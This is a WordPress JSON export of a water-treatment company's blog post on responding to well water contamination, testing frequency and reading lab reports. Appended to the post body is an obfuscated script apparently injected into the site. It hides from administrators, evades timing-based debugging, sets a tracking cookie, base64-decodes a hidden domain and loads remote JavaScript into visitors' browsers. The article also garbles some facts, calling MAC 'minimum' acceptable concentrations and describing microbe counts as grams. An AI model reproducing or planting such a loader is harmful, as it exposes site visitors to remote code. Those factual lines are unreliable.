{"id":315,"date":"2024-08-02T04:33:42","date_gmt":"2024-08-02T04:33:42","guid":{"rendered":"https:\/\/www.kentwater.ca\/blog\/?p=315"},"modified":"2026-03-06T13:23:34","modified_gmt":"2026-03-06T13:23:34","slug":"well-water-series-2-3-responding-to-contamination","status":"publish","type":"post","link":"https:\/\/www.kentwater.ca\/blog\/well-water-filtration-system\/well-water-series-2-3-responding-to-contamination\/","title":{"rendered":"Well Water Series 2\/3: Responding to Contamination"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Welcome to the second part of our Well Water Series! In the first installment of this series, we covered <\/span><a href=\"https:\/\/www.kentwater.ca\/blog\/well-water-filtration-system\/10-signs-your-well-water-needs-testing-and-treatment\/\"><span style=\"font-weight: 400;\">ten visible signs<\/span><\/a><span style=\"font-weight: 400;\"> that may indicate contamination in your well water, thus requiring testing and treatment.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Indeed, it is important to be aware that <\/span><a href=\"https:\/\/www.kentwater.ca\/blog\/well-water-filtration-system\/the-hidden-contaminants-in-your-tap-water-do-you-really-need-a-water-filter\/\"><span style=\"font-weight: 400;\">various contaminants<\/span><\/a><span style=\"font-weight: 400;\">, including colourless tasteless, and odourless, can infiltrate your well water. Luckily, there are steps you can take to address these issues. This article provides a comprehensive guide on what to do if you notice any signs of contamination and explains how understanding potential pollutants can help you take appropriate measures. Follow our tips to ensure your well water remains safe and clean.<\/span><\/p>\n<p><b>Steps to Take If Signs of Contamination Are Detected<\/b><\/p>\n<p><span style=\"font-weight: 400;\">If you notice signs of pollution in your water, there are immediate steps you should take before implementing long-term solutions.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Your and your family\u2019s health is the priority. If you experience any physical symptoms of illness, such as gastrointestinal issues, headaches, or irritations, you should stop using the water from your well, especially if bacterial contamination is suspected. Remember that some contaminants, such as radioactive substances, pesticides, and solvents, are undetectable but can be extremely harmful to health.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Find, Fix, Test, Treat<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Next, identify potential sources of contamination and assess the problem. Here is a short checklist:<\/span><\/p>\n<p><b>Find and Fix<\/b><span style=\"font-weight: 400;\"> \u2013 First, gather information about your well&#8217;s construction and operation, including <\/span><a href=\"https:\/\/www.ontario.ca\/page\/well-records\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">records<\/span><\/a><span style=\"font-weight: 400;\"> from the well constructor. Inspect the well to ensure it is not the cause of water quality issues, with the help of a <\/span><a href=\"https:\/\/www.ontario.ca\/page\/find-licenced-well-contractors\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">licensed contractor<\/span><\/a><span style=\"font-weight: 400;\"> if needed. Ensure the area around your well is free of pollutants such as animal droppings and lawn care products, and that water is not pooling around it. Check the well cap, vents, and sealant for damage. Verify the pump, pressure tank, water treatment system, and septic system are operating properly. Clean the installation and fix any issues. Lastly, evaluate changes in the surrounding area on your and your neighbour\u2019s property to see if any events impacted your well.<\/span><\/p>\n<p><b>Test and Treat<\/b><span style=\"font-weight: 400;\"> \u2013 If you suspect microbial contamination in your water, get it tested for E. coli and total coliform, free of charge <\/span><span style=\"font-weight: 400;\">by<\/span><span style=\"font-weight: 400;\"> your local public health authorities. If these pathogens are detected, your water is unsafe to drink, and you should treat your well with <\/span><a href=\"https:\/\/www.canada.ca\/en\/health-canada\/services\/publications\/healthy-living\/water-talk-protect-clean-well.html#:~:text=Shock%20disinfecting%20your%20well%20for%20microbial%20contamination\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">chlorinated shock disinfection<\/span><\/a><span style=\"font-weight: 400;\">. Furthermore, even if your water tests negative for these bacteria, it may still contain other harmful contaminants. Therefore, regularly conducting comprehensive tests with accredited professionals is essential. It will allow you to treat your water accordingly by implementing an appropriate water treatment solution, such as a filtration system or water softener.<\/span><\/p>\n<p><b>Importance of Regular Testing\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Since well water is constantly susceptible to various pollutants, regular testing is crucial to ensure its safety and quality. Indeed, it is a proactive step to identify potential health risks and anticipate plumbing damage before they become severe problems.\u00a0<\/span><\/p>\n<p><b>How often should you test your well water<\/b><span style=\"font-weight: 400;\">? It is recommended to get your water tested at least <\/span><a href=\"https:\/\/www.ontario.ca\/page\/disinfecting-private-water-wells#:~:text=at%20least%20three%20times%20per%20year%20is%20recommended\" target=\"_blank\" rel=\"noopener\"><b>three times per year<\/b><\/a><span style=\"font-weight: 400;\"> or even more. Test your water for E. coli and total coliform bacteria <\/span><a href=\"https:\/\/www.canada.ca\/en\/health-canada\/services\/publications\/healthy-living\/water-talk-test-well.html#:~:text=Test%20for%3A,Every%206%20months\" target=\"_blank\" rel=\"noopener\"><b>every six months<\/b><\/a><span style=\"font-weight: 400;\">, and test it <\/span><b>yearly<\/b><span style=\"font-weight: 400;\"> for nitrates, <\/span><a href=\"https:\/\/www.knowyourh2o.com\/indoor-6\/total-dissolved-solids#:~:text=%22Dissolved%20solids%22%20refer%20to%20any,that%20are%20dissolved%20in%20water.\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">total dissolved solids<\/span><\/a><span style=\"font-weight: 400;\">, lead, and pH levels. Perform a full-screen test <\/span><a href=\"https:\/\/www.canada.ca\/en\/health-canada\/services\/publications\/healthy-living\/water-talk-test-well.html#:~:text=It%20is%20a%20good%20idea%20to%20test%20for%20general%20water%20quality%20every%202%20years%2C%20and%20more%20often%20if%20you%20notice%20changes%20in%20taste%2C%20smell%20or%20colour%20or%20in%20land%20uses%20or%20activities%20near%20your%20well.\" target=\"_blank\" rel=\"noopener\"><b>every two years<\/b><\/a><span style=\"font-weight: 400;\"> for contaminants such as pesticides, tannins, hardness, chloride, sulfate, iron, and copper, among <\/span><a href=\"https:\/\/novascotia.ca\/well-water-testing\/#:~:text=For%20your%20chemical%20contaminant%20test%2C%20ask%20the%20lab%20to%20include%20the%20following%20at%20minimum%3A\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">others<\/span><\/a><span style=\"font-weight: 400;\">. Additionally, you may want to test for volatile organic compounds (VOCs), pharmaceutical substances, microplastics, and PFAS as needed.\u00a0<\/span><\/p>\n<p><b>When should you test your well water<\/b><span style=\"font-weight: 400;\">? Sampling is especially appropriate after significant environmental changes that increase the risk of contamination. Check your well at least <\/span><b>every spring after thaw<\/b><span style=\"font-weight: 400;\">, and also during the fall rainy season, after a long dry spell, following heavy rains or floods, or if the well has been unused for an extended period. Test your water whenever unexpected events arise, such as exceptionally high temperatures, fires, nearby construction, agricultural or industrial leaks, sewage failures, or if you notice any changes in your water quality.<\/span><\/p>\n<p><b>Understanding Analysis Reports<\/b><\/p>\n<p><span style=\"font-weight: 400;\">To go further, understanding water test results is essential for pinpointing the specific contaminants present in your water source and their concentrations, enabling you to determine the appropriate treatment methods.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Interpreting these results involves comparing them with established safety standards and guidelines set by Health Canada in their <\/span><a href=\"https:\/\/www.canada.ca\/en\/health-canada\/services\/environmental-workplace-health\/reports-publications\/water-quality\/guidelines-canadian-drinking-water-quality-summary-table.html\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Guidelines for Canadian Drinking Water Quality<\/span><\/a><span style=\"font-weight: 400;\">, followed and sometimes exceeded by the <\/span><a href=\"https:\/\/www.ontario.ca\/laws\/regulation\/030169\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">provincial governments<\/span><\/a><span style=\"font-weight: 400;\">, some of which provided <\/span><a href=\"https:\/\/novascotia.ca\/nse\/dwit\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">tools<\/span><\/a><span style=\"font-weight: 400;\"> to help you with the interpretation.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">These guidelines determine the substance amount limits, distinguishing two categories:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Minimum Acceptable Concentrations<\/b> <b>(MAC)<\/b><span style=\"font-weight: 400;\"> are the highest levels of a contaminant in drinking water considered safe for a person to drink. Above these limits, it can be harmful to health.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Aesthetic Objectives (AO)<\/b><span style=\"font-weight: 400;\"> address parameters which may affect consumer acceptance of drinking water, considering the taste, odour, and visual effects of water.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Your water test report will contain a list of pollutants and their concentrations and may highlight data requiring your attention. They are measured in specific units: most are reported in <\/span><b>milligrams per litre<\/b><span style=\"font-weight: 400;\"> of water (<\/span><b>mg\/L<\/b><span style=\"font-weight: 400;\">), while microorganisms are measured in <\/span><b>parts per 100 millilitres (ct\/100mL)<\/b><span style=\"font-weight: 400;\">, 1 part being 1 gram in 100 millilitres of water. Radioactive contaminants are reported in <\/span><b>becquerels per litre (Bq\/L)<\/b><span style=\"font-weight: 400;\">. Other values, like pH, turbidity, or conductivity, are reported in their own units.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here are samples of what your report could look like:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-317 size-large\" src=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/water-test-report-1024x814.png\" alt=\"water-test-report\" width=\"1024\" height=\"814\" srcset=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/water-test-report-1024x814.png 1024w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/water-test-report-300x238.png 300w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/water-test-report-768x610.png 768w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/water-test-report.png 1180w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><b>Water Test Parameters<\/b><\/p>\n<p><span style=\"font-weight: 400;\">For a more thorough apprehension of the potential contents of your well water and their significance, the tables below offer a general guideline and summary of common quality parameters that can be present in your analysis report, based on Health Canada\u2019s standards.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The parameters in <\/span><b>Table 1<\/b><span style=\"font-weight: 400;\"> are the pathogens that make water unsafe to drink and some contaminants that have known health effects. The table lists minimum acceptable limits, possible uses and sources, and potential health impacts.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-324 size-full\" src=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/health-risk-parameter.png\" alt=\"health-risk-parameter\" width=\"772\" height=\"667\" srcset=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/health-risk-parameter.png 772w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/health-risk-parameter-300x259.png 300w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/health-risk-parameter-768x664.png 768w\" sizes=\"auto, (max-width: 772px) 100vw, 772px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The parameters in <\/span><b>Table 2<\/b><span style=\"font-weight: 400;\"> are overall indicators used to give an initial overview of your well water quality. Generally, if the indicator is present, the supply may contain the corresponding pollutants.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-318 size-large\" src=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/overall-waterquality-886x1024.png\" alt=\"overall-waterquality\" width=\"886\" height=\"1024\" srcset=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/overall-waterquality-886x1024.png 886w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/overall-waterquality-260x300.png 260w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/overall-waterquality-768x887.png 768w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/overall-waterquality.png 997w\" sizes=\"auto, (max-width: 886px) 100vw, 886px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Ultimately,<\/span> <span style=\"font-weight: 400;\">the parameters in <\/span><b>Table 3<\/b><span style=\"font-weight: 400;\"> are common contaminants from the \u201cAesthetic Objectives\u201d category. While not typically harmful, they can have undesirable effects leading to problematic consequences.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-319 size-large\" src=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/common-contaminants-899x1024.png\" alt=\"common-contaminants\" width=\"899\" height=\"1024\" srcset=\"https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/common-contaminants-899x1024.png 899w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/common-contaminants-263x300.png 263w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/common-contaminants-768x874.png 768w, https:\/\/www.kentwater.ca\/blog\/wp-content\/uploads\/2024\/08\/common-contaminants.png 931w\" sizes=\"auto, (max-width: 899px) 100vw, 899px\" \/><\/p>\n<p><b>Preventative Measures to Maintain Water Quality<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Now that you know the considerations for water safety, you can take appropriate action. As a<\/span> <a href=\"https:\/\/www.ontario.ca\/page\/wells-your-property\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">well owner<\/span><\/a><span style=\"font-weight: 400;\">, it is your <\/span><a href=\"https:\/\/www.ontario.ca\/page\/wells-your-property#section-0:~:text=any%20legal%20advice.-,The%20law%20and%20your%20well,-If%20you%20have\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">responsibility<\/span><\/a><span style=\"font-weight: 400;\"> to ensure that your water supply remains clean and safe for consumption both now and in the future.<\/span> <span style=\"font-weight: 400;\">To achieve this and for peace of mind, it is essential to take a few preventative measures that will be very helpful.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">As mentioned above, routinely testing well water is crucial for maintaining constant water quality. It helps to ensure it is safe to drink and use, anticipate serious effects of pollution and reveal any issues with the well structure or surrounding environment. Regular testing also establishes a record for water quality, making it easier to detect changes over time and intervene promptly or to determine if the well has been affected by external incidents.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Preventing potential issues with your well also includes protecting and maintaining it. <\/span><a href=\"https:\/\/www.ontario.ca\/laws\/regulation\/900903\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Standard construction<\/span><\/a><span style=\"font-weight: 400;\"> and regular inspections and servicing, ideally at least once a year or whenever alterations or events occur, are primordial to locate and address any dysfunction with the well, pump, and storage tank. Start by keeping the perimeter around the well clean and free from possible sources of contamination such as septic systems, animal waste, parked vehicles, debris, and the use or storage of fertilizers, gasoline, and other chemicals. Additionally, make sure the area around the wellhead is sloped for drainage to prevent surface water from pooling and potentially polluting the well. Frequently check for any signs of foreign materials, wear, corrosion (such as water seepage, stains, and deposits), cracks or holes in the well casing, cap, waterlines, and vents, and ensure everything is conveniently sealed and that the well pump is functioning optimally. It is also advisable to perform annual flush and shock chlorination to disinfect your well.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Lastly, one of the best ways to guarantee high-quality water and peace of mind is to implement long-term treatment options such as water filtration systems or water softeners. Indeed, even if you can remove contamination sources, it may take years for the pollutants to return to safe levels in the well. Furthermore, testing and maintenance cannot assure that the water from your tap is free of toxic substances, and methods like boiling or chlorine disinfection are ineffective in neutralizing all of them. Finally, investing in lasting solutions can save you time and money compared to periodically trying to remove visible signs of contamination.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Various treatment systems, based on different technologies, are available for every concern you might want to address:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Water filtration systems<\/span><span style=\"font-weight: 400;\"> remove contaminants such as sediment, bacteria, chemicals, and heavy metals, which can compromise the safety, taste, and odour of the water. Different types of filters, such as <\/span><span style=\"font-weight: 400;\">iron and sulfur removers<\/span><span style=\"font-weight: 400;\">, <\/span><span style=\"font-weight: 400;\">sediment pre-filters<\/span><span style=\"font-weight: 400;\">, <\/span><span style=\"font-weight: 400;\">reverse osmosis<\/span><span style=\"font-weight: 400;\">, and <\/span><span style=\"font-weight: 400;\">ultraviolet (UV) technology<\/span><span style=\"font-weight: 400;\">, target specific impurities, ensuring clean water at all times.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Water softeners<\/span><span style=\"font-weight: 400;\">, on the other hand, address the issue of hard water by removing minerals that cause hardness. These <\/span><a href=\"https:\/\/www.kentwater.ca\/blog\/water-softener\/breaking-down-the-top-myths-surrounding-water-softeners-what-you-need-to-know\/\"><span style=\"font-weight: 400;\">apparatuses<\/span><\/a><span style=\"font-weight: 400;\"> help protect your household plumbing and appliances, save money, and improve your health.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">By investing in these solutions, you can sustainably safeguard water conditions, ensuring security and comfort in your daily water usage.<\/span><\/p>\n<p><b>In conclusion<\/b><span style=\"font-weight: 400;\">, the best approach to have flawless water quality from your well is: 1. Take action if you notice signs of contamination; 2. Regularly test your well water; and 3. Implement rigorous preventative measures like maintenance and treatment systems to ensure permanent safety and protect your household.<\/span><\/p>\n<p><b>Kent Water Purification Systems<\/b><span style=\"font-weight: 400;\"> is here for that. You can book a <\/span><a href=\"https:\/\/www.kentwater.ca\/book-water-test.php\"><span style=\"font-weight: 400;\">free water test<\/span><\/a><span style=\"font-weight: 400;\"> for your well and find the best options tailored to your needs. Visit our <\/span><a href=\"https:\/\/www.kentwater.ca\/\"><span style=\"font-weight: 400;\">website<\/span><\/a><span style=\"font-weight: 400;\"> or <\/span><a href=\"https:\/\/www.kentwater.ca\/contact.php\"><span style=\"font-weight: 400;\">contact us<\/span><\/a><span style=\"font-weight: 400;\">. Our experts will gladly help you!<\/span><\/p>\n<p><span style=\"font-weight: 400;\">P.S. In the third and last installment of our Well Water Series, we\u2019ll discuss the role of iron and sulfur removal in improving well water quality. Stay tuned!<\/span><\/p>\n<h2 style=\"text-align: center;\"><a href=\"\/contact.php\" rel=\"noopener\">Schedule your FREE water consultation today!<\/a><\/h2>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome to the second part of our Well Water Series! In the first installment of this series, we covered ten visible signs that may indicate contamination in your well water,&hellip;<\/p>\n","protected":false},"author":1,"featured_media":320,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-315","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-well-water-filtration-system"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Well Water Series 2\/3: Responding to Contamination<\/title>\n<meta name=\"description\" content=\"Protect your health with Series 2\/3 of our Well Water Guide \u2013 expert tips on detecting &amp; responding to contamination. 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